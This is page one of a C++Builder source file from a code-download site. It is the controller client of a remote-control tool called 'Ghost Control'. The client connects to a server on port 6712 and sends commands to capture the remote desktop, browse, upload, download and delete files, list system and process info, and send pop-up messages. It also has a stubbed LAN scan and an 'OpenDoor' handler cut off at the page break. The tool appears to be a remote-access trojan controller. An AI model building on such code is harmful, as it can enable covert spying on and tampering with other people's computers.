⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mainunit.cpp

📁 this a programme that you can use socket programme
💻 CPP
📖 第 1 页 / 共 2 页
字号:
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "MainUnit.h"
#include "SettingUnit.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma link "trayicon"
#pragma resource "*.dfm"
TMainForm *MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
        : TForm(Owner)
{
   ButtonStatus();
   Error=0;
   OutSocket=NULL;
   livecap=false;
   cancap=false;
   Notebook->ActivePage="ControlPage";
   TPowersock *getip=new TPowersock(this);
   LocalIP=getip->LocalIP;
   delete getip;

   TIniFile *ini;
   ini=new TIniFile(".\\Setting.ini");
   ClientSocket->Port=ini->ReadInteger("Config","PORT",6712);
   delete ini;
   StatusBar->Panels->Items[1]->Text=Now();
}
//---------------------------------------------------------------------------
void TMainForm::ButtonStatus()  //set buttons value
{
   if(ConnectStatus)
   {
      edtMsg->ReadOnly=false;
      StatusBar->Panels->Items[2]->Text="connecting status";
      cancap=true;
      btnDriverinfo->Enabled=true;
      btnSysinfo->Enabled=true;
      btnRunning->Enabled=true;
      btnProgram->Enabled=true;
      btnUpload->Enabled=true;
      btnDownload->Enabled=true;
      btnDel->Enabled=true;
      btnRefresh->Enabled=true;
      btnSetup->Enabled=true;
      btnGo->Enabled=true;
      btnSetting->Enabled=false;
    }
    else
    {
      edtMsg->ReadOnly=true;
      StatusBar->Panels->Items[2]->Text="disconnect status";
      cancap=false;
      btnDriverinfo->Enabled=false;
      btnSysinfo->Enabled=false;
      btnRunning->Enabled=false;
      btnProgram->Enabled=false;
      btnUpload->Enabled=false;
      btnDownload->Enabled=false;
      btnDel->Enabled=false;
      btnRefresh->Enabled=false;
      btnSetup->Enabled=false;
      btnGo->Enabled=false;
      btnSetting->Enabled=true;
    }
}
//------------------------------------------------------

int Break(AnsiString sMeg,AnsiString sMeg1[],AnsiString mark) //Break the Re Message
{
   int ml,v,i=0;
   while(v=sMeg.AnsiPos(mark))
   {
      ml=mark.Length();
      sMeg1[i]=sMeg.SubString(0,v-1);
      sMeg.Delete(1,v-1+ml);
      i++;
   }
   sMeg1[i++]=sMeg;
   return i;
}
//-----------------------------------------------------------------------------
void __fastcall TMainForm::Timer1Timer(TObject *Sender)
{
   StatusBar->Panels->Items[1]->Text=Now();
}
//---------------------------------------------------------------------------
void TMainForm::SetColor(AnsiString MsgToSet,TColor c,int Size)
{    //set color on which message diplay
   int oldl;
   oldl=MsgMemo->Text.Length();
   MsgMemo->Lines->Add(MsgToSet);
   MsgMemo->SelStart=oldl;
   MsgMemo->SelLength=MsgToSet.Length();
   MsgMemo->SelAttributes->Color=c;
   MsgMemo->SelAttributes->Size=Size;
}
//------------------------------------------------------------------
void TMainForm::DisEnableConnect()
{
   ConnectStatus=false;
   ClientSocket->Close();
   OutSocket=NULL;
   ButtonStatus();
}
//-----------------------------------------------------------------
void __fastcall TMainForm::btnConnectClick(TObject *Sender)
{
  Notebook->ActivePage="ControlPage";
  if(edtHost->Text.Length()!=0)
  {
    if(!ConnectStatus)
    {
      ClientSocket->Host=edtHost->Text;
      ClientSocket->Port=6712;
      ClientSocket->Open();
    }
  }
  else
  {
    StatusBar->Panels->Items[0]->Text=" Please Input host ip";
  }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketConnect(TObject *Sender,
      TCustomWinSocket *Socket)
{
   StatusBar->Panels->Items[0]->Text=" Connect to "+edtHost->Text+" sucess";
   ConnectStatus=true;
   ButtonStatus();
   OutSocket=Socket;
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketConnecting(TObject *Sender,
      TCustomWinSocket *Socket)
{
  StatusBar->Panels->Items[0]->Text=" Connecting...";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketDisconnect(TObject *Sender,
      TCustomWinSocket *Socket)
{
   StatusBar->Panels->Items[0]->Text=" disconnected with Server";
   DisEnableConnect();
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketError(TObject *Sender,
      TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
   StatusBar->Panels->Items[0]->Text=" Connect to server fail ! ErrorCode:"+IntToStr(ErrorCode);
   DisEnableConnect();
   Error=ErrorCode;
   ErrorCode=0;
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketRead(TObject *Sender,
      TCustomWinSocket *Socket)
{
   //receive msg from server
   AnsiString sMsg,sMeg1[512];
   int j,n;
   int i=1;
   sMsg=Socket->ReceiveText();
   n=Break(sMsg,sMeg1,"`");
   if(sMeg1[0]=="folder")
   {
        while(i<n-1)
       {
         TListItem *folderItem=FileListView->Items->Add();
         folderItem->ImageIndex=0;
         folderItem->Caption=sMeg1[i++];
      }
      if(sMeg1[1].Length())
      {
         EditMemo->Lines->Add("success!");
      }
   }
   else if(sMeg1[0]=="file")
   {
     AnsiString file[4];
     for(j=1;j<n-1;j++)
     {
        Break(sMeg1[j],file,"|");
        TListItem *fileItem=FileListView->Items->Add();
        fileItem->ImageIndex=1;
        fileItem->Caption=file[0];
        fileItem->SubItems->Add(file[1]+"  Kb");
        fileItem->SubItems->Add(file[2]);
     }
     if(sMeg1[1].Length())
     {
         EditMemo->Lines->Add("success!");
     }
   }
   else if(sMeg1[0]=="sysinfo")
   {
     MsgMemo->Lines->Add(" ");
     for(j=1;j<n-1;j++)
     {
       SetColor(sMeg1[j],clGreen,10);
     }
   }
   else if(sMeg1[0]=="driverinfo")
   {
     for(j=1;j<n-1;j++)
     {
       MsgMemo->Lines->Add(" ");
       SetColor(sMeg1[j],clBlack,10);
     }
   }
   else if(sMeg1[0]=="run")
   {
     MsgMemo->Lines->Add(" ");
     for(j=1;j<n-1;j++)
     {
        SetColor(sMeg1[j],clRed,10);
     }
   }
   else if(sMeg1[0]=="del")
   {
     EditMemo->Lines->Add("delete file success!");
   }
 }
//---------------------------------------------------------------------------

void __fastcall TMainForm::ClientSocketLookup(TObject *Sender,
      TCustomWinSocket *Socket)
{
  StatusBar->Panels->Items[0]->Text="Looking up...";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnExitClick(TObject *Sender)
{
  Close();
}
//---------------------------------------------------------------------------


void __fastcall TMainForm::btnSendClick(TObject *Sender)
{
   int type;
   if(edtMsg->Text.Length()!=0)
   {
      type=MsgTypeBox->ItemIndex;
      switch(type)
      {
        case 0:
          OutSocket->SendText(edtMsg->Text);
          break;
        case 1:
          OutSocket->SendText("`system`"+edtMsg->Text);
          break;
         case 2:
          OutSocket->SendText("`warning`"+edtMsg->Text);
          break;
      }
   }
   else
   {
     StatusBar->Panels->Items[0]->Text="NULL Message";
   }
   MsgTypeBox->Text="普通消息";
   edtMsg->SetFocus();
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::FormActivate(TObject *Sender)
{
  edtMsg->SetFocus();        
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::btnClearClick(TObject *Sender)
{
  edtMsg->Text="";
  MsgMemo->Clear();
  edtMsg->SetFocus();
}
//---------------------------------------------------------------------------


void __fastcall TMainForm::PingItemClick(TObject *Sender)
{
   int i;
   ICMP->OnReply=ICMPReply;
   ICMP->ReceiveTimeout=1000;
   PingItem->Enabled=false;
   try
   {
     ICMP->Host=edtHost->Text;
     for(i=1; i<=4; i++)
     {
       ICMP->Ping();
       Application->ProcessMessages();
       //Sleep(1000);
       }
    }
     __finally
    {
       PingItem->Enabled=true;
    }
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::ICMPReply(TComponent *ASender,
      const TReplyStatus &AReplyStatus)
{
    AnsiString sTime, result[5],IcmpMsg;

     // TODO: Check for error on ping reply (ReplyStatus->MsgType?)
     if(AReplyStatus.MsRoundTripTime == 0)
     {
          sTime = "<1";
     }
     else
     {
          sTime = "=";
     }

     result[0] = IntToStr(AReplyStatus.BytesReceived);
     result[1] = AReplyStatus.FromIpAddress;
     result[2] = IntToStr((int)AReplyStatus.SequenceId);
     result[3] = IntToStr((int)AReplyStatus.TimeToLive);
     result[4] = sTime;
     result[5] = IntToStr(AReplyStatus.MsRoundTripTime);
     IcmpMsg=(result[0] + " bytes from " + result[1] +
                            ": icmp_seq=" + result[2] + " ttl=" + result[3] +
                            " time" + result[4] + result[5] + " ms");
     SetColor(IcmpMsg,clBlack,10);
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::FormCreate(TObject *Sender)
{
  MEMORYSTATUS meminfo;
  meminfo.dwLength=sizeof(MEMORYSTATUS);
  GlobalMemoryStatus(&meminfo);
  MsgMemo->Clear();
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" SoftWare Name : Ghost Control");
  MsgMemo->Lines->Add(" Version : 0.98");
  MsgMemo->Lines->Add(" PoweRed By : Hellf !Re.W");
  MsgMemo->Lines->Add(" Thank you for using my SoftWare!");
  MsgMemo->Lines->Add("------------------------------------------------");
  MsgMemo->Lines->Add(" 内存总量:"+String(meminfo.dwTotalPhys/1024/1024)+"Mb  可用物理内存:"+String(meminfo.dwAvailPhys/1024/1024)+"Mb");
  MsgMemo->SelStart=0;
  MsgMemo->SelLength=MsgMemo->Text.Length();
  MsgMemo->SelAttributes->Color=clBlue;
  MsgMemo->SelAttributes->Size=10;
  MsgMemo->SelAttributes->Name="Bookman Old Style";
}
//---------------------------------------------------------------------------

void __fastcall TMainForm::BtnScanClick(TObject *Sender)
{
  /*if(Notebook->PageIndex!=0)
  {
    Notebook->ActivePage="ControlPage";
  }
  HostList->Clear();
  AnsiString iHead,testIP,tem[3];
  int i,j;
  Break(LocalIP,tem,".");
  iHead=tem[0]+"."+tem[1]+"."+tem[2]+"..";
  */
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnTakecapClick(TObject *Sender)
{
  if(ConnectStatus)
  {
    Notebook->ActivePage="CapPage"; //cancap will change to false
    //if(cancap==true)
    //{
      cancap=false;
      ScreenImage->Picture=NULL;
      StatusBar->Panels->Items[0]->Text=" Trying to capture the host's desktop";
      OutSocket->SendText("`cap`");
   // }
  }
  else
  {
     StatusBar->Panels->Items[0]->Text=" Please connect to any active server first";
  }
}
//---------------------------------------------------------------------------


void __fastcall TMainForm::NotebookPageChanged(TObject *Sender)
{
   cancap=false;
   livecap=false;
   CapTimer->Enabled=false;       
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnOpenDoorClick(TObject *Sender)

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -